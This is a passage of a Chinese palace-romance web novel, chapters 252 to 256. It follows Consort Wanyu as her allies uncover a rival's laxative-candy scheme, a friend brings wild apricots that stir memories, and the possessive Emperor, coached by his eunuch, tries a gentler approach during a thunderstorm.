因见他和晚余说得热闹,便也插嘴问出自己心中疑惑:“那些人就敢保证这计划一定能成功吗?” 晚余说:“凡事都没有万全的,只要利大于弊,就有人愿意冒险。 况且失败的后果你也看到了,不过是降级禁足罚俸而已。 过段时间她们的父兄撞个柱子立个功什么的,就又升回去了,有什么好怕的?” 紫苏恍然大悟,听她说撞个柱子什么的,觉得又好笑又无奈:“奴婢还有一事不解,那糖皇上不也吃了一颗吗,难道庄妃就不怕害了皇上?” “傻丫头。”胡尽忠接过话头道,“那满满一荷包糖,怎么可能个个有问题,或许有问题的只有那一颗,特地做了记号的,否则岂非连公主都害了。” “原来如此。” 紫苏越是问得明白,越是心惊,已经顾不得计较他对自己的称呼,“庄妃娘娘若真存了坏心思,那就太可怕了。 一个当娘的,连亲闺女都敢拿来做局,别的还有什么是她不敢的,咱们以后可得小心提防她。” 晚余摇头,神色倦怠:“她倒未必有多深的心机,可能是怕我生下孩子,夺走她们母女仅有的一点圣宠。” 事实上,她从来也没想过要夺走任何人的圣宠,这圣宠她自己甚至都不想要。 可她这么想,人家却不会信,唯有弄死了她,才能真正安心。 她不禁想,祁让非得以爱之名将她囚在宫中,万一有一天她没躲过这些明枪暗箭,落得一尸两命,祁让会不会后悔自己的行为? 他应该不会吧? 因为他所谓的爱,并非真爱,不过是偏执的占有欲。 就像两个孩子为了抢一个玩具打得头破血流,真正抢到手的那个,未必会稀罕多久,说不定玩一玩就随手丢开了。 等到别的孩子看见想拿去玩的时候,他就又宝贝得不行,死活不许别人碰。 总之就是他玩不玩是他的事,但别人不能拿走,谁拿走他就跟谁拼命。 到最后,那个玩具可能在争抢的过程被撕毁,他也不过心疼一阵子,绝不会意识到玩具是因为他而坏掉的,更不可能会为了一个玩具后悔。 紫苏见晚余情绪低落,不知在想什么,就出声宽慰道:“人无伤虎意,虎有害人心,小主快别想这么多了,先睡一觉再说吧,大不了咱们日后多加小心,见招拆招就是了。” 胡尽忠点头附和:“是啊是啊,小主快歇着吧,天大的事也等睡饱了再说,有奴才在,不会让那些妖魔鬼怪伤到您的。” 晚余已然没有了说话的力气,便依言回了内室歇息,叫胡尽忠抓紧时间去见徐清盏。 另一边,祁让把嘉华公主送回永和宫,陪着她玩了一会儿,等她玩累了,就交给乳母抱去哄她睡觉,自己起身离开。 庄妃以往总要盛情挽留,今日却破例没有留他,听说他要走,便殷勤相送,倒有些迫不及待的样子。 祁让凝神看了她一眼,有意无意道:“你不是不许嘉华吃糖吗,怎么今日竟给她装了一荷包糖?” 庄妃心下一凛,忙垂首道:“嘉华不想出门,臣妾拿糖哄她来着。” “是吗?”祁让挑眉,眼神晦暗不明,“又不是什么要紧事,她不想去就不去,你何必非要她去?” 庄妃被他看得后背直冒冷汗,腹中也是阵阵绞痛,面上不敢有一丝异常。 “臣妾知道贞嫔对孩子不怎么上心,就想着让她多和公主接触接触,兴许她看公主这么可爱,心态慢慢就转变了呢!” 祁让想到晚余那冷淡的态度,脸色不禁更冷了几分,倒也没有再盘问庄妃,警告似的说道: “你有公主傍身,是天大的福气,好好地把这福气守住才是正经,往后宫里不管再添多少孩子,嘉华都是不可替代的长公主。” 庄妃脸色煞白,强撑着谢恩:“多谢皇上提点,臣妾定当铭记于心。” 祁让看着她额角渗出的冷汗,说了句“不舒服就叫人去请太医”,便负手阔步而去。 孙良言带着天子仪仗候在外面,见他出来,扶着他上了肩辇,小心翼翼道:“皇上,咱们现在是回乾清宫吗?” 祁让坐在辇上,抬头望了眼承乾宫的方向,面色沉沉道:“你说呢?” 第252章 一头倔驴遇到了另一头倔驴 孙良言到底是大总管,不能回回都靠自个徒弟提点,略一迟疑后,顺着祁让目光所及之处问道:“皇上要不要回去安抚一下贞嫔娘娘?” 祁让立刻收回了目光,冷冷道:“朕去看她,南书房那一堆的折子你来帮朕看?” “……” 孙良言眼前一黑,恨不得学那些身娇体弱的娘娘们当场晕过去才好。 摊上这么个折腾人的主儿,时不时装个晕,倒不失为一个好法子。 “回乾清宫!”他对抬辇的太监吩咐了一句,跟在一侧问道,“皇上可要奴才留意一下永和宫的动静?” 祁让微一挑眉,眼底闪过一丝阴翳:“不必了,她到底是嘉华的亲娘,朕已经警告过她,谅她不敢再有下次。” 孙良言倒也没有很意外。 嘉华公主毕竟是皇上唯一的孩子,眼下年纪还小,离不开亲娘,皇上若真处置了庄妃,最可怜的还是公主。 虽说贞嫔肚子里怀的同样是皇上的骨肉,可这手心手背的,即便是皇上,也不能把一碗水完全端平。 宽容了这个,必定会委屈那个。 还好贞嫔不在意圣宠,否则心里肯定不痛快。 可见媳妇儿多了未必是什么好事,贞嫔死活不愿意留在宫里,并非没有她的道理。 可是有什么法子呢,一头倔驴遇到了另一头倔驴,神仙来了都束手无策。 唉! 真愁人! 接下来的两天,晚余情绪一直低落。 这天傍晚,徐清盏提着一只小竹篮过来看她,里面装了一篮子澄黄澄黄的杏子。 晚余正坐在梨树下的石凳上纳凉,神情恹恹的提不起精神。 见徐清盏过来,脸上总算有了些笑模样:“清盏,你怎么这个时候过来了?” “这会儿凉快,我的事情也忙完了。”徐清盏说着话往她坐的石凳上看了一眼,“石凳寒凉,你不要久坐,坐的时候垫个软垫才好。” “垫着呢!”晚余欠欠身,露出软垫一角给他看,“你瞧,可厚实了。” 徐清盏这才放心,把竹篮放在她面前的石桌上:“瞧瞧我给你带了什么?” “什么呀?” 晚余探头往里看,看到满满一篮子大黄杏,本能地吞了下口水,还没吃,似乎已经感觉到了酸味。 徐清盏在她对面落座,狐狸眼亮晶晶充满期待:“你猜猜是哪来的?” 他既然这样问了,想必不是买来的。 晚余心念转动,眼睛突然亮起:“是玉泉山上摘来的吗?” 徐清盏笑起来,弯起的眼眸倒映满天落霞:“嗯,我和长安一起去摘的。” 晚余怔怔一刻,将竹篮拉到身前,贪婪地嗅着杏子的清香,眼前闪过三个人在玉泉山的野杏树下打闹嬉戏的画面。 那些野杏树无人问津,却开得极盛。 山风吹过,花瓣如雨,他们玩累了,便躺在树下,任由花瓣把他们埋起来。 到了杏子成熟的时节,他们会爬到树上去摘杏子吃。 有一回她的裙子被树枝挂破了,沈长安把自己的外袍脱下来给她穿。 沈长安的袍子太大,她走着绊脚,沈长安就一路把她背下了山。 野杏子酸的多,甜的少,有时看着黄橙橙的,吃起来却能酸倒牙。 徐清盏打趣说怀了身孕的女子最爱吃酸,叫沈长安记住那个地方,将来好摘杏子给她吃。 那时候的她哪里听得了这样羞死人的话,追着徐清盏打了半天。 而今,他们当真在她怀孕的时候去摘了杏子。 可她怀的,却是别人的孩子…… 她双手抱着竹篮,埋首其中,在野杏子的香气中流了满脸的泪。 四下安静,落霞满天,只有风吹动树叶的声响。 胡尽忠和紫苏远远站着,玉竹和玉琴也识趣地没有上前打扰。 徐清盏静静坐着看她,眼里全是无法宣之于口的怜惜。 过了一会儿,晚余自己缓过来,平复了情绪,抬起头,除了脸上的泪痕,已经看不出丝毫感伤。 “好些了吗?”徐清盏柔声问她,掏出一方靛蓝色的布帕递给她。 “好了,没事了。”晚余接过来,拭去脸上泪痕,心中郁结已然随着眼泪消烟消云散。 “既然好了,就吃个杏子吧!” 徐清盏拿了一颗杏子,随手扯过自己的衣襟胡乱擦了擦就递给她。 晚余含泪而笑,恍惚又回到了从前。 那时候,他们不管吃果子都是拿衣服胡乱擦一下,一点都不讲究。 可惜现在不行了,她刚要伸手去接,玉竹已经走过来出声制止:“外面来的东西不干净,小主吃不得。” 晚余的手顿住,笑容消失不见。 徐清盏蓦地看向玉竹,温柔的眼波瞬间化作杀人的刀:“要你多嘴,咱家是请示了皇上才送过来的。” 玉竹被他这一个眼神吓得心肝直颤,讪讪地往后退了两步。 徐清盏把那颗杏子掰成两半,一半递给晚余,一半自己吃下:“有人不放心,那我先吃为敬。” 晚余又笑起来,接过杏子咬了一口,酸得眯起眼睛:“今年的好像格外酸一些。” “是吗?”徐清盏随手又挑了一个,仍旧掰成两半和她分食,“这个是甜的,你尝尝。” 晚余信以为真,一口吃下,酸得五官都皱成一团:“可恶,又骗我,这个更酸。” 徐清盏哈哈大笑。 晚余也跟着笑。 笑着笑着,两人的眼里都漾起了水光。 “再来一个,我就不信没有一个是甜的。”晚余自己挑了一个,也学着徐清盏掰成两半。 “小主不能再吃了。”玉竹又忍不住出声提醒。 晚余已经把杏子送到了嘴边,闻言只得停下。 徐清盏的脸色彻底冷下来,看玉竹的眼神像是在看一具尸体。 “她连多吃半个杏子的自由都没有了吗?你是不是觉得自己这样显得很尽职尽责?你再敢说一个字试试!” 玉竹不敢和他顶嘴,只得又向后退开。 徐清盏转脸又对晚余笑得温柔:“别理她,你只管吃,我前几天好生练了一回刀法,一根口条能片三十刀,谁再敢多嘴多舌,我当场片给你看。” 玉竹大热天吓出一身冷汗,浑身的汗毛都竖起来,立时闭上嘴巴远远退开。 胡尽忠笑得三角眼成一条缝,抱着拂尘用肩膀撞了紫苏一下,小声道:“活该,叫她整天拿着鸡毛当令箭,就得掌印这样的才治得住她。” 紫苏翻了他一个白眼,“你还有脸说别人,你的口条掌印很早以前就惦记着呢!” “……”胡尽忠倒吸一口凉气,抿紧了嘴再不敢发出一点声响。 徐清盏也是有分寸的,不会让晚余吃太多,等他们吃到一颗很甜的杏子之后,就把篮子收起来,神情严肃地和她说起了正事: “庄妃那边请了太医,这两日一直卧床不起,我让来喜去太医院打听过,太医说她是贪凉吃坏了肚子。” 第253章 今晚你来保护朕 晚余早有预料,因此也不觉得意外:“看来真让贤妃猜对了,那糖就是一颗泻药,她把公主都赌上了,怎么不干脆给我一颗毒药?” 徐清盏冷笑:“她没那么傻,估计就是先探探路,看看你们的防范意识,实在不行就自己吃掉,顶多受两天罪,皇上即便有所怀疑,看在嘉华公主的份上,也会放她一马。” 晚余下意识摸了摸自己的肚子,一时竟不知说什么好。 徐清盏见她沉默不语,略一思索,温声劝道:“这事皇上确实不好处置,公主又小又无辜,皇上不能不顾及父女情份。 如果公然处置庄妃,嘉华公主有一个犯了罪的母妃,往后的日子必然艰难,兴许还会落下什么心理阴影。 况且这事未必是庄妃一个人想出来的,只怕是受了别人的蛊惑,一时昏了头。 事情成与不成,最终得利的人都不是她。” “所以我才让你连翊坤宫一并留意着。”晚余笑笑说,“你不必为我担心,我一直都知道宫里没有绝对的公平。 我对皇上从来没有期待,所以也谈不上失望。” 徐清盏心疼地看着她,没再往下劝:“翊坤宫那边暂时没什么动静,估计正在避风头,咱们不着急,慢慢等着就是。” “嗯。”晚余点点头,“你觉得怎么好就怎么来,我都听你的。” 徐清盏四下看了看,小声道:“兰贵妃是将门之女,强势有余,城府不足,相比之下,倒是贤妃更有心机,你不要被她笑眯眯的外表蒙蔽。” “你放心,我心里有数。” 晚余也看了眼退到远处的玉竹玉琴,“我虽然有你们相助,在后宫到底孤身一人,贤妃有心机,有能力,我和她结了盟,她就不会再算计我,还能帮我挡一挡明枪暗箭,我们彼此各取所需。” “你有数就好。” 徐清盏起身道,“我不能久留,你有什么拿不定主意的事,记得叫人去告诉我,切不可自己鲁莽行事。” “这就走了吗?”晚余起身相送,依依不舍,却又无可奈何,“你自己也要小心。” “嗯。”徐清盏边走边小声道,“长安过几天就要去瓦剌了,你想不想见他一面?” 晚余心头一跳,喉咙瞬间哽住,却摇头道:“不见也罢,你叫他多保重就是了。” “好。” 徐清盏答应一声,抬手想去揉揉她的头,终又放弃,清瘦的身形在渐渐暗淡的天光里飘然远去,如同漂泊在云水间的一叶孤帆。 晚余倚门目送他走远,轻轻一声叹息,转身回去,让紫苏把那一篮子酸杏分给众人吃。 晚膳时,玉竹照例去乾清宫向孙良言汇报晚余这一天的情况。 孙良言把她的话转述给祁让。 祁让听说晚余和徐清盏一起有说有笑,心里又不是滋味,吃什么都觉得是酸的。 什么时候,那女人也能在他面前开怀大笑一回? 他觉得他这辈子都不一定能看到这样的情形了。 算了,不笑就不笑吧! 他又不是周幽王,犯不着费劲巴拉地去博美人一笑。 况且人家也未必领他的情。 孙良言知道他的心结,这心结除了贞嫔谁也解不开。 眼瞅着他一天天为了一个女人伤神,深深感觉自己辜负了圣母皇太后的托付。 思来想去,硬着头皮劝他:“皇上要不还是去一趟承乾宫吧,庄妃的事您总要和贞嫔说一说的,就这样黑不提白不提的,只怕贞嫔娘娘以为您厚此薄彼,不重视她肚子里的小主子。” “朕不重视?”祁让握着筷子,皱眉不悦,“朕为了她们娘儿俩都快魔怔了,你不比谁都清楚?” 孙良言心里哎呦一声,心说真难得,皇上还知道自己魔怔了。 摊了摊手道:“奴才清楚有什么用,得贞嫔娘娘清楚才行呀,况且女人家的心思跟男人也不一样,皇上总不能事事都指望人家自个消化。” “那怎么办?”祁让放下筷子,捏了捏眉心,“她未必想见朕,去了也是不欢而散。” 孙良言笑道:“皇上领过兵,打过仗,血雨腥风杀出来的帝王之路,怎么反倒对一个女人望而却步了,这可不是您的行事作风呀!” “……” 祁让哼了一声,心说他在那女人面前一点法子都没有,还谈什么行事作风? 他攻克过无数的阵地,却攻克不了一个女人的心。 孙良言循循善诱:“奴才没做过一天男人,也不懂怎么和女人相处,但奴才琢磨着,女人想要的,左不过是温柔体贴,百依百顺,皇上既然来硬的不行,何不转换一下策略,给她来点软的?” 祁让冷笑:“你怎么知道朕没软过,有些人就是软硬都不吃。” 孙良言说:“那是皇上耐心不够,说两句软话没达到效果,您立马就恼了,这怎么能行? 您听奴才一回,这回你就一软到底,不管她说什么您都不生气,看看她是个什么反应? 俗话说伸手不打笑脸人,何况是笑脸相迎的皇帝,奴才不信贞嫔娘娘看不到您的改变。” 祁让不禁冷下脸,啪一拍桌子:“你是拜了胡尽忠为师吗,叫朕堂堂天子去对一个女人卖笑,亏你想得出来!” 孙良言:“……皇上言重了,您也不光是为了贞嫔娘娘,这不还有您那没出世的孩子吗? 您就当为了孩子,对孩子娘忍让一些也是应该的,孩子娘心情好了,生下来的孩子才活泼健康不是?” “朕看你就是跟胡尽忠学的。”祁让瞪了他一眼,终究还是被他说动了心,“行吧,朕就再给她一次机会,她若还不识好歹,朕从此以后再也不去看她!” 孙良言顿时喜笑颜开,连忙答应一声,叫人给他沐浴更衣,用肩辇抬着他去了承乾宫。 夏日天气多变,晚膳前还晴好的天,只是一个沐浴更衣的时间就阴沉下来,行至中途,便已电闪雷鸣,狂风大作,豆大的雨点劈头盖脸地砸下来。 孙良言连忙叫人撑伞,心里忐忑不安。 要不是他苦口婆心一通劝,皇上这会子已经在乾清宫歇下了。 皇上淋了雨,肯定又要怪他多事。 祁让却什么话也没说,拧了一路的眉头反倒舒展开来。 到了承乾宫,纵然有雨伞遮挡,龙袍也淋湿了大半。 晚余和宫人们都已经要歇下了,听闻他来,又忙忙地出来迎接。 “这么大的雨,皇上怎么来了?”晚余上前行礼,客气了一句。 祁让俊朗的眉眼被雨水打淋,漆黑的瞳孔越发的黑亮。 刚要开口,一道闪电划破夜空,紧接着便是咔嚓一声惊雷炸响。 祁让顺势将晚余揽进怀里,柔声道:“别怕,朕在这呢,朕知道你害怕打雷,特地来陪你的。” 晚余从他怀里挣脱出来:“皇上记错了吧,嫔妾不怕打雷。” “……”祁让一口气堵在心口,差点又要恼。 孙良言连忙清嗓子提醒他。 祁让深吸一口气,生生把那股火压下去,抓住晚余的手幽幽道:“你不怕朕怕,今晚就由你来保护朕。” 晚余:“……” 第254章 这人不会又想反悔吧? 雨下得越发大,一道道闪电伴着雷声,撕裂原本安静祥和的夜色。 晚余觉得祁让也和这闪电惊雷一样,只要他出现,所有人都不得安生。 雨下成这样,这人无论如何是撵不走了,今晚少不得又是一番折腾。 当下便认命地随他进了内室,服侍他更衣就寝。 祁让的龙袍湿了大半,晚余脱下来,给他搭在衣架上,见他里面的衣裳也是潮湿的,就让孙良言打发人回去给他取干净寝衣。 祁让享受着晚余的服侍,见她披散着头发,低眉垂眼的温顺模样,那白如凝脂的小脸被烛火笼上一层温柔的暖光,纵然不苟言笑,也比平时温婉许多。 只是这样,祁让便觉得自己淋这场雨是值得的。 “朕的头发也湿了,你来帮朕擦干。”他在床前坐下,语气也不自觉变得轻缓。 晚余便拿了干净的布帕,站在他身侧,把他的头发放下来擦拭。 他的头发又黑又硬,发丝很粗,和他这个人一样,有种野蛮的生命力。 晚余不敢用力,一缕一缕慢慢擦,想起有一回阿娘生病,沈长安冒着大雨去送药,淋得像落汤鸡,她便拿了帕子给他擦头发, 为了让头发干得快,就摁着他的头没有章法地乱擦一通。 沈长安被她擦得龇牙咧嘴,说她这样粗鲁将来怕是不好嫁,也就自己这武将世家出身的不嫌弃她。 晚余想到沈长安那时的神情,不禁笑起来。 祁让像是听到了一声轻微的笑声,偏头去看,竟在她脸上捕捉到一抹罕见的温柔笑意。 祁让的心不觉软了一下,也跟着弯起唇角:“什么事这么高兴,说与朕听听。” 晚余猛地回神,笑容瞬间收起:“没什么,就是想到白天的一些趣事。” 祁让的脸又垮下来。 白天有什么事? 不就是徐清盏给她送了一篮子酸杏吗,何至于这样回味无穷? “徐清盏都和你说什么了?”他装作随意地问道,语气却比杏子还酸。 晚余愣了下,才意识到他是误以为自己想到了徐清盏。 怕他迁怒徐清盏,就替徐清盏说了句好话:“他说那天的事皇上也很为难,劝嫔妾不要因此生皇上的气。” 祁让很意外,默然一刻才道:“那你是怎么想的,你生气了没有?” 晚余摇摇头:“没有,我觉得他说的有道理,皇上不是一个人的夫君,也不是一个人的父亲,一家子尚且不能保证绝对的公平,况且这偌大的后宫? 妃嫔们计较的是个人得失,皇上顾全的是大局,不能一概而论。” 祁让本来还发愁怎么和她说,没想到她自己已经看得通透。 于是就拉了她的手让她坐在自己身边,欣慰道:“你若当真这样想,朕就放心了。 庄妃这事,要么不计较,一计较就是大事,到时候,不仅嘉华公主孤苦无依,庄妃的母家也会被人往死里弹劾打压。 当年朕夺位死了很多人,京中世族门阀都不耻朕的所作所为,是庄妃的母家魏氏一族力排众议支持朕,才让那些世族门阀闭了嘴。 现如今的朝堂,也是因为有她们家和贤妃,兰贵妃的母家三足鼎立才得安稳。 若她们家因此获罪,这个平衡就会被打破,朝堂就会开始新一轮的动荡,朕这么说,你能明白吗?” 晚余原本只想说些好话应付祁让,没想到他居然和自己讲起了朝堂局势。 这些事她以前也听徐清盏说过,道理自然也是懂的。 但道理归道理,事情摊到谁头上,谁都不会好受。 所幸自己对他从来不抱期望,往后也只能自己小心提防,避免落入旁人的陷阱。 于是便笑了笑,心平气和道:“朝堂之事嫔妾不懂,也不敢妄议,但嫔妾觉得,后宫之所以混乱,都是因为后位空缺。 贵妃,贤妃,庄妃虽有管理六宫的权利,但终究只是妃位,在气势上不如皇后之位具有天生的威慑力。 所以,皇上想要六宫安宁,还是早日立个皇后才是正经。” 祁让深深看她,漆黑的瞳孔映着烛火,忽明忽暗的,让人捉摸不透:“那依你之见,你觉得谁来当这个皇后最合适?” 晚余立刻摇头:“这便又属于朝政了,嫔妾不能妄议,也不能干扰皇上的考量,皇上觉得谁合适,谁就合适。” 祁让显然不打算放过她,伴着窗外的雷声,石破天惊地说道:“朕要是觉得你合适呢?” 晚余心里咯噔一下,不知是被雷声惊吓,还是被他的话语惊吓:“皇上是在说笑吗,这东西十二宫,谁都合适嫔妾也不会合适,皇上难道忘了,嫔妾的父亲可是逆贼。” “你这会子倒是明白了,当初朕是怎么提醒你的?”祁让没好气道,“朕说了你父亲要是成了逆贼,你晋位就会十分艰难,你瞧,现在问题不就来了吗?” 晚余见他说得煞有介事,好像真的打算要立自己为皇后似的,连忙推辞道:“皇上就不要考虑嫔妾了,即便嫔妾父亲没谋反,嫔妾外室女的身份也不足以担此重任。 况且嫔妾又不像姐姐,从小就被悉心培养,接受各种教育,嫔妾不过是跟着阿娘略识几个字而已,既没有能力,也没有格局,根本不具备母仪天下的资格。” 祁让对她的反应很是不满,甚至觉得她对皇后之位避之不及。 这个位子,是一个女人一辈子所能达到的巅峰之位,后宫争来斗去都是为了这个位子。 而她却百般推辞。 她究竟是不稀罕这个位子,还是不稀罕他? 祁让不禁气血上涌,又忍不住想要发火。 想到孙良言的话,到底还是忍住了,与她心平气和道:“这些都不是问题,只要你想学,现在也还来得及,朕找几个大儒教你就是了。” 晚余见他越说越认真,不免暗自心惊。 说好了生完孩子就放她走的,怎么又要找人给她教学呢? 这人不会又想反悔了吧? 晚余很害怕他会发火,但还是硬着头皮提醒了一句:“皇上忘了,我生完孩子就要走的。” 祁让的脸瞬间阴沉下来,如同外面电闪雷鸣的天色。 第255章 再敢嘴硬,朕就亲你了 晚余紧张地屏住呼吸,闭上眼睛,等待着承受他的狂风暴雨。 等了一会儿,不见他有所行动,睁开眼,就见他正目光灼灼地盯着自己看,深渊般的眼底交织着各种复杂的情绪。 “你说得对。”他缓缓开口,语气平静,甚至带了些笑意,“朕不过随口一说,皇后可不是谁想做就能做的,就算你有意,你这出身朕也帮不了你。” 晚余惊讶于他不同寻常的冷静和忍耐力,想不通他是怎么忍住不发火的。 这感觉就像话本子里资质平庸的少年突然得了高人指点一样,一下子就有了突飞猛进的变化,让人觉得很不真实。 所以,他到底是被什么高人指点了? 祁让见晚余很惊讶很意外的样子,心说孙良言的话倒是有几分道理,于是便越发温和了语气说道:“立后的事不着急,等将来有了合适的人选再说吧!” 晚余点点头,略一沉思又道:“皇后只有一个,自然马虎不得,但贵妃按例可以封两个,但凡有个人能和兰贵妃平起平坐,她也不至于这么嚣张。” 祁让挑了挑眉,眸光微动:“兰贵妃是跋扈了些,这回的事未必没有她的份,但朕既然不能公开处罚庄妃,自然也不能处罚她。” 晚余说:“处罚有很多方法,可以是给她降级,也可以是给别人晋级,以兰贵妃的强势,弄一个人和她平起平坐,只怕比给她降级还让她难受。” 祁让定定看她,忽而笑起来,伸手在她脸颊捏了一下:“你们这些小女人,肚子里的弯弯绕就是多,打压个人都有这么多门道,那你说,后宫之中,谁能和兰贵妃平起平坐?” 晚余摇头:“嫔妾只是建议,皇上的枕边人,皇上自个最了解,但若论资历的话,庄妃为皇上抚育公主劳苦功高,自然是最有资格的。” “她不行。”祁让断然否决,“她犯了错,朕没有罚她已经是格外开恩,怎么可能再奖赏她,这样对你和孩子岂非更不公平了?” 晚余心里冷笑了一下,面上不动声色道:“那就只有贤妃,淑妃和端妃了。” 祁让说:“淑妃是外族,首先排除,端妃不问世事,升了贵妃也无甚用处,剩下的就是贤妃了。” “贤妃也挺好,够贤惠。”晚余漫不经心道。 祁让却摇头:“她是够贤惠,可她爹是个不安分的。 朕登基以来,深感内阁独揽朝政的弊端,便刻意架空内阁,收回了他们的票拟权和协调六部之责。 贤妃的父亲作为内阁首辅,一直不甘心大权旁落,总想重现内阁昔日辉煌,他女儿若是登上高位,只会助长他的野心,让他更加膨胀。” 祁让在政治方面确实有着天生的敏锐和洞察力,每当讲起这些,就会显得认真而专注,和他在感情上的偏执疯狂判若两人。 晚余静静看他,感觉他身体里面像是住着两个人,一个是智者,一个是疯子。 “怎么了?”祁让停下来问她:“朕脸上有什么?” “没什么。”晚余说,“皇上分析得很全面,但凡事有利有弊,端看皇上如何衡量,若实在无法取舍,大可不必把嫔妾的话放在心上。” 祁让笑起来,拉过她的手压在自己心口:“确实不用放,你本来就在这里。” 晚余:“……” 好吧! 智者隐身了,疯子又来了。 “叩叩”两声轻响,紫苏敲门进来,打断了这微妙的气氛:“小主,皇上的寝衣送来了。” 晚余松口气,接过寝衣,伺候祁让换上。 祁让说:“以后朕的各样衣裳你这里都要备上几套,省得要穿的时候找不到。” “……”晚余张张嘴,欲言又止。 祁让拧眉看她,仿佛从她眼底看到了她的内心:“你是不是又想提醒朕雨露均沾?” “嫔妾没有。”晚余连忙否认,“皇上想多了。” “是吗?那你是改了主意,不想让朕雨露均沾了?”祁让追问,眉宇间暗含威压。 晚余又想否认,可这样一来就显得她前后矛盾,左思右想,只能耍赖,皱眉嘶了一声。 “怎么了?”祁让问道。 晚余伸手按了按肚子:“这里好像疼了一下。” 祁让立刻紧张起来,也不让她伺候更衣了,反过来伺候她把外衫脱下来,又帮她脱了鞋子,扶她到床上躺好,问她要不要请太医,或者喝点热水什么的。 晚余说没那么严重,兴许是站久了,躺一躺就好。 祁让便自己换了衣裳,挨着她躺下来,一只手给她枕着,一只手覆在她肚子上:“怕是下雨受了凉,朕给你捂一捂。” 晚余这会子只想逃避他的问题,因此也就没有拒绝他的殷勤。 祁让感觉孙良言的话有几分道理,便越发的对她小意温存:“你整日在家闲着没事做,有没有想过孩子以后叫什么名字?” 晚余不想和他讨论这个问题,便懒懒回了一句:“是男是女都还不知道,怎么取?” “这有何难,男女都想几个不就行了。”祁让说,“你别不当回事,这是朕交给你的任务,过几天朕要验收的。” 晚余心情复杂,闷闷道:“嫔妾才疏学浅,哪里会取什么好名字,还是皇上亲自来吧,孩子还没出生您就已经委屈了他一回,若连名字都不给他取,他岂非更委屈?” 祁让面露惭愧之色,在她肚子上轻轻拍了两下:“好吧,这回确实是朕委屈了他,朕好好想想,定然为他取个好名字。” “嗯。”晚余应了一声,闭上眼睛,“嫔妾困了,皇上也早些睡吧!” 话音未落,外面突然咔嚓一声惊雷,吓得她一个激灵,心都跟着颤了颤。 祁让搂着她闷笑出声:“有人不是说自己不怕打雷吗?” 晚余不禁有些尴尬:“嫔妾确实是不怕的,只是这个雷比较响而已。” 祁让戏谑看她,视线落在她淡粉的唇上:“再敢嘴硬,朕就亲你了。” 晚余连忙认错:“嫔妾错了,嫔妾确实害怕打雷。” 祁让一阵心塞。 她宁死不屈,轻易不肯认错,眼下却为了逃避他的亲吻,毫不犹豫地认了错。 他越想越气,忍不住想强吻她。 想到孙良言的话,只得生生忍住,抓过她的手搭在自己劲瘦的腰间:“朕不是在这吗,怕就抱紧了。” 怕她再找借口推托,又找补了一句:“不抱就是撒谎,撒谎就是欺君!” “……” 晚余不想大晚上闹得大家都不安生,只得被迫屈从,过了一会儿,睡意慢慢袭来,就伴着窗外的风雨声睡了过去。 祁让搂着她,几日来虚浮烦躁的心情都在她轻浅的呼吸声中沉淀下来。 “就这样不好吗?”他喃喃道,“你什么都懂,就是不听话……” 第256章 这个孩子能平安降生吗? 屋里渐渐没了动静,屋外窗下并排站着的两个大总管正在窃窃私语。 胡大总管说:“真稀奇,皇上今晚也没翻我家小主的牌子,怎么突然就顶风冒雨的过来了?” 孙大总管说:“皇上又不是头一回这样,有什么好稀奇的,况且这雨是半道上才下来的。” 胡大总管直撇嘴:“哄谁呢,咱家又不是没服侍过皇上,以皇上的性子,要是没人怂恿,他指定不会来。” 孙大总管也撇嘴:“你这会子倒是清高了,以前这事你也没少干吧?” “我干是因为我缺德,难道你也缺德?”胡尽忠越发阴阳怪气,“真是士别三日刮目相看,几天不见,孙大总管都学会拉皮条了。” 孙良言气个半死,扬手甩了他一拂尘:“你少在这里装腔作势,难道你不希望皇上和贞嫔好起来吗?” 胡尽忠说:“以前我是希望他们好,可这大半年时间,我算是看明白了,强扭的瓜它是真的不甜。” “甜不甜你说了不算,皇上觉得甜就行。”孙良言说,“后宫女人的宠辱都在皇上一念之间,皇上若真不来,承乾宫不就成冷宫了,你这么喜欢冷宫,不如我现在就调你过去。” 胡尽忠翻了个白眼,没有吭声。 孙良言又说:“你别管贞嫔情不情愿,她想在后宫过得好,能仰仗的只有皇上,她可以不喜欢皇上,但不能不让皇上来,你要是连这道理都不懂,白瞎你在宫里混这些年。” 胡尽忠撇嘴不屑:“得了吧你,拉皮条就是拉皮条,别说得这样冠冕堂皇。 我不怀疑你是好意,但你说到底还是为了让皇上高兴,而不是为了让贞嫔高兴。 你心里比谁都清楚,皇上来了她并不高兴。 所以你就不要打着为她好的旗号说话了,这样显得你这人很虚伪。” 孙良言一口老血堵在嗓子眼,差点没呛死过去,“你还有脸说,这才大半年,你就忘了你自己当初的嘴脸了吗?” “那又怎样?”胡尽忠说,“至少我目的明确,从不掩饰,以前为皇上好,现在为小主好,大大方方,坦坦荡荡。” “……”孙良言说不过他,气得想打人。 胡尽忠不给他动手的机会,抱着拂尘远远站开,一副不愿与他为伍的嫌弃表情。 大雨下到半夜方歇,次日早起,天气格外凉爽。 祁让早起去上朝,因着昨晚没和晚余吵架,整个人都神清气爽,临走时还亲了晚余一下,叮嘱她早起多穿点衣裳,小心着凉。 晚余躺在床上没起来,只简单嗯了一声。 祁让对这回应很不满意,又在心里安慰自己,不管怎样她总算没有摆臭脸给他看,这也算是一个很大的进步。 等他走后,晚余又眯了一会儿。 天亮后起床洗漱更衣用过早饭,贤妃打发了一个宫女过来,说静安太妃已经搬进了寿康宫,按规矩后宫妃嫔要去给她请安,趁着今天天气凉爽,就叫上大伙一同前往。 安全起见,玉竹私心里并不想让晚余出门。 但这种事不好推托,加上晚余总不出门对胎儿也不好,便叫上玉琴紫苏和胡尽忠陪她一起过去。 从承乾宫到寿康宫很有一段距离,玉竹又叫人备了肩辇在后面跟着,等晚余走累了,就用肩辇抬着她。 寿康宫在慈宁宫的西边,她们从东边来,要先路过慈宁宫。 慈宁宫的大门紧闭,门前守着几名带刀侍卫。 胡尽忠和晚余说,太后已经从宗人府回来了,从此以后,就要幽禁在慈宁宫直到老死。 晚余看着那紧闭的大门,心下唏嘘。 每个人都曾经年轻过,太后当年初入宫墙,想必也是花朵般娇艳的年岁,凭着显赫的家世,一路摸爬滚打勾心斗角坐上皇后之位,抢了别人的孩子养在膝下,再为了那孩子殚精竭虑,机关算尽。 结果怎么样呢? 一朝落败,大权旁落,成了有名无实的太后,而今更是沦为了阶下囚,要在这高墙之内了此残生。 那样的家世背景,那样的得天独厚,尚且不能全身而退,何况自己这种草芥般的人物? 所以,这后宫根本就不适合自己,自己最适合的,还是在外面过寻常人家的生活。 她摸了摸已经渐渐有些凸起的小腹,心中愁绪万千。 这个孩子,能平安降生吗? 祁让这一回,会遵守承诺吗? 